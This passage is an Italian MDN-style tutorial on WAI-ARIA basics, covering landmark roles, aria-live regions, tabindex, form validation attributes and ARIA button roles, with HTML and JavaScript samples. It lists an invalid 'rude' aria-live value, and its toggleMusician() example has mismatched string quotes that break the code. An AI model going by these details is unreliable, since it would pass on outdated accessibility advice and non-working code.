+<p><strong>Nota</strong>: alcune librerie JavaScript supportano WAI-ARIA. Ciò significa che quando generano elementi IU, come per esempio formulari complessi, aggiungono automaticamente attributi ARIA per migliorarne l'accessibilità. Se stai valutando l'utilizzo di una libreria Javascript per sviluppare elementi IU più rapidamente, dovresti tenere in conto il livello di accessibilità della libreria quando scegli quale usare. Buoni esempi sono jQuery UI (vedi l'articolo in inglese <a href="https://jqueryui.com/about/#deep-accessibility-support">jQuery UI: supporto all'accessibilità</a>), <a href="https://www.sencha.com/products/extjs/">ExtJS</a>, e <a href="https://dojotoolkit.org/reference-guide/1.10/dijit/a11y/statement.html">Dojo/Dijit</a>.</p>
+</div>
+
+<h3 id="Quando_dovresti_usare_WAI-ARIA">Quando dovresti usare WAI-ARIA?</h3>
+
+<p>Abbiamo già discusso di alcuni dei problemi che hanno spinto alla creazione di WAI-ARIA, dovuti soprattutto alla crescente complessità delle moderne applicazioni web. Essenzialmente ci sono 4 grandi aree in cui WAI-ARIA è utile: </p>
+
+<ol>
+ <li><strong>Indicatori/riferimenti</strong>: gli attributi <code>role</code> possono funzionare come descrizioni che fanno riferimento a elementi HTML5 replicandone il valore semantico (per esempio {{htmlelement("nav")}}), oppure possono andare oltre HTML5, e funzionare come indicatori che descrivono differenti aree funzionali, per esempio <code>search</code>, <code>tabgroup</code>, <code>tab</code>, <code>listbox</code>, ecc.</li>
+ <li><strong>Aggiornamento dinamico del contenuto</strong>: i lettori di schermo in generale hanno difficoltà a indicare quando il contenuto subisce cambiamenti; con ARIA possiamo usare <code>aria-live</code> per indicare agli utenti che usano lettori di schermo quando un' area del contenuto viene aggiornata, per esempio tramite <a href="/it/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a>, o <a href="/it/docs/Web/API/Document_Object_Model">DOM APIs</a> .</li>
+ <li><strong>Migliorare l'accessibilità da tastiera</strong>: ci sono elementi HTML che hanno accessibilità da tastiera nativa; quando però invece di usare tali elementi se ne usano altri che li "simulano" in combinazione con JavaScript, l'accessibilità da tastiera e la qualità di lettura dei lettori di schermo ne risentono. In questi casi possiamo usare WAI-ARIA per dare focus a tali elementi  (usando <code>tabindex</code>).</li>
+ <li><strong>Accessibilità dei controlli non semantici</strong>: quando si usano una serie di <code>&lt;div&gt;</code> annidati in combinazione con CSS e JavaScript per creare una funzionalità IU particolarmente complessa, oppure quando un controllo nativo viene notevolmente modificato tramite JavaScript, l'accessibilità può risultare danneggiata. Gli utenti che usano lettori di schermo troveranno difficile capire come funzionano tali elementi se non ci sono indicazioni semantiche che lo spieghino. In situazioni come queste la tecnologia ARIA può aiutare a fornire le indicazioni necessarie tramite una combinazione di ruoli come <code>button</code>, <code>listbox</code>, o <code>tabgroup</code>, e proprietà come <code>aria-required</code> o <code>aria-posinset</code>.</li>
+</ol>
+
+<p>Ricorda: <strong>dovresti ricorrere a WAI-ARIA solo quando è necessario!</strong> Idealmente, dovresti usare <em>sempre</em> <a href="/it/docs/Learn/Accessibilità/HTML_accessibilità">funzionalità HTML native</a> per fornire le indicazioni semantiche necessarie ai lettori di schermo per interpretare correttamente il contesto. A volte però ciò non è possibile, forse perchè non hai pieno controllo sul codice, o perchè stai creando qualcosa di particolarmente complesso, che non puoi implementare con un elemento HTML standard. In tali casi, WAI-ARIA può essere un utile strumento di miglioramento dell'accessibilità. </p>
+
+<p>Ma ricorda, usala solo quando è necessario!</p>
+
+<div class="note">
+<p><strong>Nota</strong>: cerca di testare il tuo sito con la maggior varietà possibile di utenti reali: persone non disabili, persone che usano lettori di schermo, persone che navigano con la tastiera, ecc. Queste persone sapranno indicarti cosa funziona e cosa no in maniera molto più accurata di ciò che può emergere se ti limiti ad effettuare test di utilizzo in prima persona.</p>
+</div>
+
+<h2 id="Esempi_di_uso_pratico_di_WAI-ARIA">Esempi di uso pratico di WAI-ARIA </h2>
+
+<p>Nella prossima sezione analizzeremo le 4 aree di utilizzo di WAI-ARIA più dettagliatamente, e forniremo alcuni esempi pratici. Prima di continuare però, dovresti attivare un lettore di schermo, per poter testare alcuni degli esempi.</p>
+
+<p>Vedi la sezione (in inglese) sul <a href="https://developer.mozilla.org/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Screenreaders">testing con lettori di schermo</a> per maggiori informazioni.</p>
+
+<h3 id="Indicatoririferimenti">Indicatori/riferimenti</h3>
+
+<p>WAI-ARIA trasmette ai browser l'attributo <code>role</code>, che permette di aggiungere valore semantico extra agli elementi del tuo sito dovunque sia necessario. La principale utilità di questo attributo è che permette agli utenti che usano lettori di schermo di individuare più facilmente gli elementi più comuni delle pagine. Vediamo un esempio:  il nostro <a href="https://github.com/mdn/learning-area/tree/master/accessibility/aria/website-no-roles">sito senza attributi role</a> (vedi la <a href="https://mdn.github.io/learning-area/accessibility/aria/website-no-roles/">versione live</a>) ha la seguente struttura:</p>
+
+<pre class="brush: html">&lt;header&gt;
+  &lt;h1&gt;...&lt;/h1&gt;
+  &lt;nav&gt;
+    &lt;ul&gt;...&lt;/ul&gt;
+    &lt;form&gt;
+      &lt;!-- search form  --&gt;
+    &lt;/form&gt;
+  &lt;/nav&gt;
+&lt;/header&gt;
+
+&lt;main&gt;
+  &lt;article&gt;...&lt;/article&gt;
+  &lt;aside&gt;...&lt;/aside&gt;
+&lt;/main&gt;
+
+&lt;footer&gt;...&lt;/footer&gt;</pre>
+
+<p>Se provi a navigare il sito con un lettore di schermo in un browser moderno, riceverai diverse informazioni utili. Per esempio, VoiceOver fornisce le seguenti indicazioni:</p>
+
+<ul>
+ <li>Riguardo l'elemento <code>&lt;header&gt;</code> — "banner, 2 oggetti" (contiene un heading h1 e la barra di navigazione <code>&lt;nav&gt;</code>).</li>
+ <li>Riguardo l'elemento <code>&lt;nav&gt;</code> — "navigazione, 2 oggetti" (contiene una lista e un formulario).</li>
+ <li>Riguardo l'elemento <code>&lt;main&gt;</code> — "principale, 2 oggetti" (contiene un articolo e una barra di navigazione laterale).</li>
+ <li>Riguardo l'elemento <code>&lt;aside&gt; </code>— "complementario, 2 oggetti" (contiene un heading h2 e una lista).</li>
+ <li>Riguardo il campo di ricerca — "Funzione ricerca,  casella di testo".</li>
+ <li>Riguardo l'elemento <code>&lt;footer&gt;</code> — "pié di pagina 1 oggetto".</li>
+</ul>
+
+<p>Se ti rechi nella sezione Rotore di VoiceOver (premendo VO-U), vedrai che la maggior parte degli elementi più importanti sono elencati ordinatamente e si può accedere ad essi rapidamente.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14420/landmarks-list.png" style="display: block; margin: 0 auto;"></p>
+
+<p>Ma in realtà, la situazione è migliorabile. Il campo di ricerca è un punto di riferimento importante che gli utenti vorranno trovare, ma non compare nella lista degli elementi e non è trattato come un elemento di riferimento, a parte l'indicazione che si tratta di una casella di ricerca (<code>&lt;input type="search"&gt;</code>). Inoltre, alcuni browser più vecchi (per esempio IE8), non riconoscono le indicazioni semantiche degli elementi HTML5. </p>
+
+<p>Possiamo migliorare il tutto usando alcune funzionalità ARIA. Per prima cosa aggiungiamo alcuni attributi role alla nostra struttura HTML. Il nostro  <a href="https://github.com/mdn/learning-area/tree/master/accessibility/aria/website-aria-roles">esempio di sito con ruoli aria</a> (vedi la <a href="https://mdn.github.io/learning-area/accessibility/aria/website-aria-roles/">versione live</a>) ha la seguente struttura:</p>
+
+<pre class="brush: html">&lt;header&gt;
+  &lt;h1&gt;...&lt;/h1&gt;
+  &lt;nav role="navigation"&gt;
+    &lt;ul&gt;...&lt;/ul&gt;
+    &lt;form role="search"&gt;
+      &lt;!-- search form  --&gt;
+    &lt;/form&gt;
+  &lt;/nav&gt;
+&lt;/header&gt;
+
+&lt;main&gt;
+  &lt;article role="article"&gt;...&lt;/article&gt;
+  &lt;aside role="complementary"&gt;...&lt;/aside&gt;
+&lt;/main&gt;
+
+&lt;footer&gt;...&lt;/footer&gt;</pre>
+
+<p>C'è anche una funzionalità bonus in questo esempio: all'elemento {{htmlelement("input")}} è stato assegnato l'attributo <code>aria-label</code>, che fornisce ai lettori di schermo un’etichetta descrittiva, anche se non abbiamo incluso un elemento {{htmlelement("label")}}. In casi come questo è molto utile usare l’attributo ARIA. Un campo di ricerca è infatti un elemento molto comune e facilmente riconoscibile, e aggiungere una etichetta visuale potrebbe danneggiare il disegno della pagina.</p>
+
+<pre class="brush: html">&lt;input type="search" name="q" placeholder="Scrivi qui ciò che vuoi cercare" aria-label="Campo per cercare nel contenuto del sito"&gt;</pre>
+
+<p>Se ora usiamo VoiceOver per navigare il sito d'esempio, notiamo alcuni miglioramenti:</p>
+
+<ul>
+ <li>Il campo di ricerca viene indicato come un elemento separato, sia mentre si naviga la pagina sia nella sezione Rotore.</li>
+ <li>Il testo contenuto nell'attributo <code>aria-label</code> viene letto quando il campo riceve focus.</li>
+</ul>
+
+<p>Inoltre, il sito è ora maggiormente accessibile per utenti che navigano con browser antiquati come IE8; vale la pena includere ruoli ARIA anche per questo. E se per caso il tuo sito è stato costruito usando solo elementi <code>&lt;div&gt;</code>, dovresti decisamente includere i ruoli ARIA per fornire le necessarie semantiche!</p>
+
+<p>Il valore semantico migliorato del campo di ricerca ha mostrato cosa è possibile fare quando ARIA va oltre le semantiche disponibili con HTML5. Potrai sapere molto di più sulle semantiche e il potere delle proprietà/attributi ARIA qui sotto, specialmente nella sezione {{anch("Accessibilità dei controlli non semantici")}}. Per ora, vediamo come ARIA ci può aiutare a gestire gli aggiornamenti del contenuto dinamico.</p>
+
+<h3 id="Aggiornamenti_del_contenuto_dinamico">Aggiornamenti del contenuto dinamico</h3>
+
+<p>In generale tutto il contenuto caricato nel DOM può essere facilmente interpretato usando un lettore di schermo, dal contenuto testuale fino al testo alternativo delle immagini. I tradizionali siti statici con contenuto largamente testuale sono dunque facili da rendere accessibili alle persone con deficit visivo.</p>
+
+<p>Il problema è che le applicazioni web moderne spesso non sono composte da testo statico, di solito hanno una gran quantità di contenuto che si aggiorna dinamicamente, cioè contenuto che si agigorna senza che l'intera pagina si ricarichi, tramite meccanismi come <a href="/it/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a>, <a href="/it/docs/Web/API/Fetch_API">Fetch</a>, o <a href="/it/docs/Web/API/Document_Object_Model">DOM APIs</a>. Queste aree del contenuto sono talvolta chiamate “aree vive”, o  <strong>live regions</strong>.</p>
+
+<p>Consideriamo un esempio: <a href="https://github.com/mdn/learning-area/blob/master/accessibility/aria/aria-no-live.html">aria-no-live.html</a> (vedi anche la <a href="https://mdn.github.io/learning-area/accessibility/aria/aria-no-live.html">versione live</a>). In questo esempio troviamo un paragrafo contenente una citazione selezionata casualmente:</p>
+
+<pre class="brush: html">&lt;section&gt;
+  &lt;h1&gt;Citazione casuale&lt;/h1&gt;
+  &lt;blockquote&gt;
+    &lt;p&gt;&lt;/p&gt;
+  &lt;/blockquote&gt;
+&lt;/section&gt;</pre>
+
+<p>JavaScript riceve tramite <code>XMLHttpRequest</code> un file JSON contenente una serie di citazioni con il rispettivo autore. Dopo che la prima citazone tratta dal file è stata caricata nel paragrafo si attiva un loop <code>setInterval()</code> che carica una nuova citazione nel paragrafo ogni 10 secondi:</p>
+
+<pre class="brush: js">var intervalID = window.setInterval(showQuote, 10000);</pre>
+
+<p>Questo sistema funziona correttamente , ma non è ottimale in termini di accessibilità. Gli aggiornamenti del contenuto non sono rilevati dai lettori di schermo, e gli utenti che li usano non possono rendersi conto di ciò che sta succedendo. Questo esempio è molto basico, ma prova a immaginare cosa succederebbe se stessi creando una interfaccia utente più complessa, con molte aree del contenutto che si aggiornano costantemente, come una chat room, un gioco strategico o magari un sito di e-commerce con un carrello della spesa che si aggiorna con i prodotti selezionati dall'utente. Sarebbe impossibile utilizzare l'applicazione con un lettore di schermo, in assenza di un sistema che avverta gli utenti degli aggiornamenti del contenuto.</p>
+
+<p>Fortunatamente WAI-ARIA ci mette a disposizione un utile meccanismo per fornire tali avvertimenti, la proprietà <code>aria-live</code>. Applicarla a un elemento fa sì che i lettori di schermo leggano il contenuto che viene aggiornato. Con quanta frequenza il contenuto viene letto dipende dal valore assegnato:</p>
+
+<ul>
+ <li><code>off:</code> valore di default. Gli aggiornamenti non vengono annunciati.</li>
+ <li><code>polite</code>: gli aggiornamenti vengono annunciati solo quando l'utente è inattivo.</li>
+ <li><code>assertive</code>: gli aggiornamenti vengono annunciati all'utente il prima possibile.</li>
+ <li><code>rude</code>: gi aggiornamenti vengono annunciati istantaneamente, interrompendo ciò che l'utente sta facendo.</li>
+</ul>
+
+<p>Generalmente, assegnare il valore <code>assertive</code> è sufficiente perchè gli aggiornamenti vengano annunciati in tempo reale, anche se nel caso di aggiornamenti di multiple aree di contenuto che avvengono allo stesso tempo i vari aggiornamenti saranno annunciati in sequenza, quindi con la possibilità di un breve ritardo sul tempo reale. Si raccomanda di usare <code>rude</code> solo per aggiornamenti ad alta priorità che devono "passare davanti" agli altri aggiornamenti in corso.</p>
+
+<p>Prova a realizzare una copia di <a href="https://github.com/mdn/learning-area/blob/master/accessibility/aria/aria-no-live.html">aria-no-live.html</a> e <a href="https://github.com/mdn/learning-area/blob/master/accessibility/aria/quotes.json">quotes.json</a>, e modificare l'etichetta <code>&lt;section&gt;</code> così:</p>
+
+<pre class="brush: html">&lt;section aria-live="assertive"&gt;</pre>
+
+<p>D'ora in poi il lettore di schermo leggerà il contenuto ogni volta che quest'ultimo sarà aggiornato.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: : la maggior parte dei browser attiverà una security exception se provi ad effettuare un <code>XMLHttpRequest</code> da un URL <code>file://</code>. Per esempio se carichi il file direttamente nel browser (facendo doppio click). Per farlo funzionare, devi caricare il file a un server, per esempio usando <a href="https://developer.mozilla.org/en-US/docs/Learn/Common_questions/Using_Github_pages">GitHub</a> (articolo in inglese), o un server locale come <a href="http://www.pythonforbeginners.com/modules-in-python/how-to-use-simplehttpserver/">Python's SimpleHTTPServer</a> (articolo in inglese).</p>
+</div>
+
+<p>C'è però una considerazione da tenere in conto: il lettore di schermo legge solo la parte del testo che viene aggiornata. È utile dunque che legga anche l'heading, per aiutare l'utente a ricordare quale sezione della pagina è stata aggiornata. Per farlo, possiamo aggiungere la proprietà <code>aria-atomic</code> alla sezione. Modifica la tua etichetta <code>&lt;section&gt;</code> così:</p>
+
+<pre class="brush: html">&lt;section aria-live="assertive" aria-atomic="true"&gt;</pre>
+
+<p>L'attributo <code>aria-atomic="true"</code> indica al lettore di schermo che deve leggere l'intero contenuto dell'elemento, non solo le parti che sono state aggiornate.  </p>
+
+<div class="note">
+<p><strong>Nota</strong>: : puoi vedere l'esempio completo qui: <a href="https://github.com/mdn/learning-area/blob/master/accessibility/aria/aria-live.html">aria-live.html</a> (vedi anche la <a href="http://mdn.github.io/learning-area/accessibility/aria/aria-live.html">versione live</a>).</p>
+</div>
+
+<div class="note">
+<p><strong>Nota</strong>: : la proprietà <code>aria-relevant</code> è utile per controllare cosa viene letto quando un'area di contenuto viene aggiornata. Per esempio puoi far si che siano lette solo le parti aggiunte o al contrario le parti rimosse dal contenuto.</p>
+</div>
+
+<h3 id="Migliorare_l'accessibilità_da_tastiera">Migliorare l'accessibilità da tastiera</h3>
+
+<p>Come abbiamo già detto in altri articoli di questo modulo, uno dei punti forti di HTML in termini di accessibilità è che implementa automaticamente l'accessibilità da tastiera per funzionalità come i bottoni, i campi dei formulari e i link. In generale, puoi sempre usare il tasto TAB per muoverti da un elemento all'altro e il tasto INVIO per selezionare o attivare gli elementi. In alcune circostanze puoi anche usare altri tasti (per esempio le frecce, per muoverti su e giù tra le opzioni di una lista <code>&lt;select&gt;</code>).</p>
+
+<p>Ciononostante, a volte ti troverai a dover scrivere codice che fa uso di elementi non semantici che compiono la funzione di bottoni (o altri tipi di elementi), o codice che usa elementi che possono ricevere focus per scopi diversi dal normale. Forse starai cercando di sistemare del codice mal scritto in precedenza, o di costruire un qualche tipo di widget complesso che richiede tecniche non ortodosse.</p>
+
+<p>Per rendere focalizzabili elementi che normalmente non lo sono, WAI-ARIA estende l'attributo <code>tabindex</code> con alcuni nuovi valori:</p>
+
+<ul>
+ <li><code>tabindex="0"</code> — come specificato in precedenza, questo valore rende "tabbabili" elementi che normalmente non lo sono. Questo è il valore più utile di <code>tabindex</code>.</li>
+ <li><code>tabindex="-1"</code> — questo valore permette ad elementi normalmente non tabbabili di ricevere focus programmaticamente, per esempio tramite JavaScript, o come destinazione di un link. </li>
+</ul>
+
+<p>Abbiamo discusso questi valori in maggior dettaglio e mostrato una implementazione tipica nel nostro articolo sull'accessibilità in HTML, vedi <a href="/it/docs/Learn/Accessibilità/HTML_accessibilità#Implementare_l'accessibilità_da_tastiera_in_un_secondo_tempo">Implementare l'accessibilità da tastiera in un secondo tempo</a>.</p>
+
+<h3 id="Accessibilità_dei_controlli_non_semantici">Accessibilità dei controlli non semantici</h3>
+
+<p>Proseguendo con il tema trattato nella sezione precedente, quando si usa una serie di <code>&lt;div&gt;</code> annidati in congiunto con CSS o JavaScript per creare una funzionalità complessa per l’interfaccia utente, o se si cambia/migliora sostanzialmente un controllo nativo tramite JavaScript, non solo è possibile che l’accessibilità da tastiera ne risulti ridotta, ma anche per gli utenti che usano lettori di schermo potrebbero prodursi difficoltà a comprendere l’uso della funzionalità, se non ci sono indicazioni semantiche o altri indizi. In tali situazioni, ARIA può aiutare a fornire il valore semantico addizionale necessario. </p>
+
+<h4 id="Validazione_di_formulari_e_avvisi_di_errore"><strong>Validazione di formulari e avvisi di errore</strong></h4>
+
+<p>Innanzitutto, rivediamo l’esempio di formulario che avevamo preso in considerazione nell’articolo sull’accessibilità in CSS e JavaScript (vedi <a href="/it/docs/Learn/Accessibilità/CSS_e_JavaScript_accessibilità#Mantieni_un_uso_non_intrusivo_di_JavaScript">Mantieni un uso non intrusivo di JavaScript</a>). Alla fine di tale sezione abbiamo mostrato alcuni attributi ARIA che sono stati aggiunti al messaggio che appare se ci sono errori di validazione quando provi a inviare il formulario:</p>
+
+<pre class="brush: html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>errors<span class="punctuation token">"</span></span> <span class="attr-name token">role</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>alert<span class="punctuation token">"</span></span> <span class="attr-name token">aria-relevant</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>all<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>ul</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>ul</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<ul>
+ <li><code><u><a href="https://www.w3.org/TR/wai-aria-1.1/#alert">role="alert"</a></u></code> trasforma automaticamente l’elemento a cui è applicato in una live region, di modo che i cambi applicati all’elemento vengono letti dal lettore di schermo; inoltre identifica semanticamente l’elemento come un messaggio di allerta (informazione importante relativa al momento/contesto), e rappresenta una migliore e più accessibile maniera di fornire un avviso a un utente (i dialoghi modali come le chiamate <code><u><a href="https://developer.mozilla.org/en-US/docs/Web/API/Window/alert">alert()</a></u></code> presentano un certo numero di problemi di accessibilità; vedi l’articolo (in inglese) <u><a href="http://webaim.org/techniques/javascript/other#popups">Popup Windows</a></u> scritto da WebAIM).</li>
+ <li>Il valore <code><u><a href="https://www.w3.org/TR/wai-aria-1.1/#aria-relevant">aria-relevant="all"</a></u></code> indica al lettore di schermo che deve rileggere il contenuto della lista di errori ogni volta che si verificano cambi in essa, per esempio quando vengono aggiunti o rimossi errori. Ciò risulta utile, in quanto l’utente potrà essere sempre al corrente di quali errori sono presenti sulla lista, non solo di quali sono stati aggiunti o rimossi dalla stessa.</li>
+</ul>
+
+<p>Possiamo ora procedere oltre con il nostro utilizzo di ARIA, e fornire ulteriore assitenza nella validazione dei dati. Per esempio, perchè non indicare dal principio quali campi sono obbligatori, e quale intervallo di età è permesso introdurre?</p>
+
+<ol>
+ <li>A questo punto, salva sul tuo dispositivo una copia dei files  <a href="https://github.com/mdn/learning-area/blob/master/accessibility/css/form-validation.html">validazione-formulario.html</a> e <a href="https://github.com/mdn/learning-area/blob/master/accessibility/css/validation.js">validazione.js</a>.</li>
+ <li>Aprili entrambi in un editor di testo e dai un’occhiata a come funziona il codice.</li>
+ <li>Per prima cosa, aggiungi un paragrafo come quello che vedi qui sotto giusto prima della etichetta di apertura del formulario <code>&lt;form&gt;</code>, e marca entrambe le etichette <code>&lt;label&gt;</code> del formulario con un asterisco. Questo è il metodo con cui normalmente si segnalano i campi obbligatori agli utenti che non hanno limitazioni visuali.
+  <pre class="brush: html">&lt;p&gt;I campi marcati con un asterisco (*) sono obbligatori.&lt;/p&gt;</pre>
+ </li>
+ <li>Questa indicazione è utile dal punto di vista visuale, ma non è facile da cogliere per gli utenti che usano lettori di schermo. Fortunatamente, WAI-ARIA fornisce l’attributo  <u><a href="https://www.w3.org/TR/wai-aria-1.1/#aria-required">aria-required</a></u> , che suggerisce al lettore di schermo di indicare all’utente quali sono i campi del formulario che devono essere compilati obbligatoriamente. Aggiorna gli elementi <code>&lt;input&gt;</code> come vedi qui sotto:                                                              </li>
+ <li>
+  <pre><code>&lt;input type="text" name="name" id="name" aria-required="true"&gt;
+
+&lt;input type="number" name="age" id="age" aria-required="true"&gt;</code></pre>
+ </li>
+ <li>A questo punto se salvi l’esempio e lo testi con un lettore di schermo dovresti ascoltare qualcosa come “Introduci il tuo nome asterisco, obbligatorio, modifica testo”.</li>
+ <li>Potrebbe inoltre risultare utile indicare agli utenti l’intervallo di anni dentro il quale dovrebbe situarsi il valore dell’età. Spesso tale valore si indica tramite un placeholder, ossia un valore indicativo che appare all’interno del campo quando non è ancora stato compilato. WAI-ARIA include le proprietà <code><a href="https://www.w3.org/TR/wai-aria-1.1/#aria-valuemin">aria-valuemin</a></code> e <code><u><a href="https://www.w3.org/TR/wai-aria-1.1/#aria-valuemax">aria-valuemax</a></u></code> per specificare un intervallo di valori minimo e massimo, ma queste proprietà al momento non hanno un supporto ampio; una caratteristica che gode di un migliore supporto è l’attributo HTML5 <code>placeholder</code>, che contiene un messaggio che viene mostrato nel campo quando l’utente non vi ha ancora introdotto nessun valore, e viene letto da un certo numero di lettori di schermo. Aggiorna il campo età come indicato qui:
+  <pre class="brush: html">&lt;input type="number" name="age" id="age" placeholder="introduci un numero compreso tra 1 e 150" aria-required="true"&gt;</pre>
+ </li>
+</ol>
+
+<div class="note">
+<p><strong>Nota</strong>: puoi vedere un esempio completo qui: <a href="http://mdn.github.io/learning-area/accessibility/aria/form-validation-updated.html">validazione-formulario-aggiornato.html</a>.</p>
+</div>
+
+<p>WAI-ARIA permette inoltre alcune tecniche avanzate di etichettazione dei formulari, che vanno al di là del classico elemento {{htmlelement("label")}}. Abbiamo già discusso sull’utilizzo della proprietà <code><a href="https://www.w3.org/TR/wai-aria-1.1/#aria-label">aria-label</a></code> per rendere un’etichetta {{htmlelement("label")}} invisibile agli utenti che non usano lettori di schermo (vedi la sezione <code><a href="https://developer.mozilla.org/it/docs/Learn/Accessibilit%C3%A0/WAI-ARIA_basics/Indicatori/riferimenti">Indicatori/riferimenti</a></code> sopra). Ci sono anche altre tecniche di etichettazione che fanno uso di proprietà come <code><u><a href="https://www.w3.org/TR/wai-aria-1.1/#aria-labelledby">aria-labelledby</a></u></code>, se vuoi usare un elemento non-<code>&lt;label&gt;</code> come etichetta o se vuoi etichettare multipli campi del formulario con la stessa etichetta, e <code><u><a href="https://www.w3.org/TR/wai-aria-1.1/#aria-describedby">aria-describedby</a></u></code>, se vuoi associare informazione aggiuntiva a un campo del formulario e vuoi che il lettore di schermo la legga. Vedi l’articolo in inglese  <a href="http://webaim.org/techniques/forms/advanced">WebAIM's Advanced Form Labeling</a> per maggiori dettagli.</p>
+
+<p>Ci sono inoltre molte altre proprietà e attributi utili per indicare lo stato di un elemento di un formulario. Per esempio, si può usare <code><u><a href="https://www.w3.org/TR/wai-aria-1.1/#aria-disabled">aria-disabled</a></u>="true"</code> per indicare che un campo è disabilitato. Molti browser salteranno i campi disabilitati, e i lettori di schermo non li leggeranno, ma in alcuni casi saranno comunque indicati, dunque è una buona idea includere questo attributo per permettere al lettore di schermo di sapere che un campo è effettivamente disabilitato.</p>
+
+<p>Se esiste la possibilità che lo stato di un campo cambi da disabilitato ad abilitato è buona norma indicarlo all’utente, e  inoltre spiegare le conseguenze di tale cambio. Per esempio, nel nostro formulario demo <u><a href="http://mdn.github.io/learning-area/accessibility/aria/form-validation-checkbox-disabled.html">validazione-formulario-casella-disabilitata.html</a></u> c’è una casella che, quando è selezionata, abilita un altro campo del formulario, tramite il quale si possono introdurre informazioni aggiuntive. Abbiamo preparato un paragrafo nascosto:</p>
+
+<pre class="brush: html">&lt;p class="hidden-alert" aria-live="assertive"&gt;&lt;/p&gt;</pre>
+
+<p>Questo elemento è nascosto alla vista tramite <code>position: absolute</code><strong>. </strong>Quando la casella viene selezionata/deselezionata, il contenuto dell’area nascosta si aggiorna per segnalare agli utenti che usano lettore di schermo in che modo la struttura del formulario è cambiata dopo aver selezionato la casella; inoltre si aggiorna anche lo stato dell’attributo <code>aria-disabled</code> e si fornisce anche un indicazione visuale del cambio:</p>
+
+<pre class="brush: js">function toggleMusician(bool) {
+  var instruItem = formItems[formItems.length-1];
+  if(bool) {
+    instruItem.input.disabled = false;
+    instruItem.label.style.color = '#000';
+    instruItem.input.setAttribute('aria-disabled', 'false');
+    hiddenAlert.textContent = 'I'Il campo strumenti suonati è ora abilitato; usalo per indicarci quali strumenti sai suonare.';
+  } else {
+    instruItem.input.disabled = true;
+    instruItem.label.style.color = '#999';
+    instruItem.input.setAttribute('aria-disabled', 'true');
+    instruItem.input.removeAttribute('aria-label');
+    hiddenAlert.textContent = ''Il campo Strumenti suonati è ora disabilitato.';
+  }
+}</pre>
+
+<h4 id="Descrivere_bottoni_non_semantici_come_bottoni">Descrivere bottoni non semantici come bottoni</h4>
+
+<p>Ci è già capitato di discutere della accessiblità nativa di alcuni elementi come bottoni, link o campi di formulario, e dei problemi di accessibilità che sorgono quando si usano elementi sostitutivi per compiere le stesse funzioni di questi elementi. Vedi <a href="/it/docs/Learn/Accessibilità/HTML_accessibilità#Controlli_di_Interfaccia_Utente">Controlli di interfaccia utente</a> nell’articolo sull’accessibilità in HTML, e <a href="/it/docs/Learn/Accessibilità/WAI-ARIA_basics#Migliorare_l'accessibilità_da_tastiera">Migliorare l’accessibilità da tastiera</a>, qui sopra). In molti casi è possibile restituire l’accessibilità da tastiera a tali elementi senza troppi problemi, usando <code>tabindex</code> e un poco di JavaScript.</p>
+
+<p>Ma come fare con i lettori di schermo? Non potranno interpretare gli elementi sostitutivi come bottoni. Se facciamo un test con il nostro esempio  <a href="http://mdn.github.io/learning-area/tools-testing/cross-browser-testing/accessibility/fake-div-buttons.html">div-falsi-bottoni.html</a> e un lettore di schermo, i falsi bottoni saranno segnalati all’utente con frasi come “Cliccami!, gruppo”, che risultano di difficile interpretazione.</p>
+
+<p>Possiamo rimediare al problema usando un ruolo WAI-ARIA. Salva la pagina <a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/accessibility/fake-div-buttons.html">div-falsi-buttoni.html</a>, e aggiungi <code><a href="https://www.w3.org/TR/wai-aria-1.1/#button">role="button"</a></code> ad ogni <code>&lt;div&gt;</code> che compie la funzione di bottone, come per esempio:</p>
+
+<pre>&lt;div data-message="Questo messaggio viene dal primo bottone" tabindex="0" role="button"&gt;<code>Cliccami!</code>&lt;/div&gt;</pre>
+
+<p>Se ora provi a navigare la pagina con un lettore di schermo, i bottoni saranno letti come “Cliccami!, bottone”, e tutto risulterà molto più chiaro.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: non dimenticare che usare il corretto elemento semantico è sempre una opzione migliore. Se vuoi creare un bottone e non ci sono ragioni valide per non usare un elemento  <code><a href="https://developer.mozilla.org/it/docs/Web/HTML/Element/button" title="L'elemento HTML &lt;button> rappresenta un bottone cliccabile.">&lt;button&gt;</a></code>, dovresti usare un elemento <code><a href="https://developer.mozilla.org/it/docs/Web/HTML/Element/button" title="L'elemento HTML &lt;button> rappresenta un bottone cliccabile.">&lt;button&gt;</a></code>!</p>
+</div>
+
+<h4 id="Guidare_gli_utenti_nell’uso_di_widget_complessi">Guidare gli utenti nell’uso di widget complessi</h4>
+
+<p>Ci sono molti altri <a href="https://www.w3.org/TR/wai-aria-1.1/#role_definitions">ruoli</a> che danno la possibilità di assegnare ad elementi non semantici lo status di comuni elementi dell’interfaccia utente, elementi che vanno al di là di ciò che è disponibile nell’HTML standard, come per esempio <code> <a href="https://www.w3.org/TR/wai-aria-1.1/#combobox">combobox</a></code>, <code><a href="https://www.w3.org/TR/wai-aria-1.1/#slider">slider</a></code>, <code><a href="https://www.w3.org/TR/wai-aria-1.1/#tabpanel">tabpanel</a></code>, <code><a href="https://www.w3.org/TR/wai-aria-1.1/#tree">tree</a></code>. Puoi trovare alcuni utili esempi nella <a href="https://dequeuniversity.com/library/">Deque university code library</a>, per farti un'idea di come tali elementi possono essere resi accessibili.</p>
+
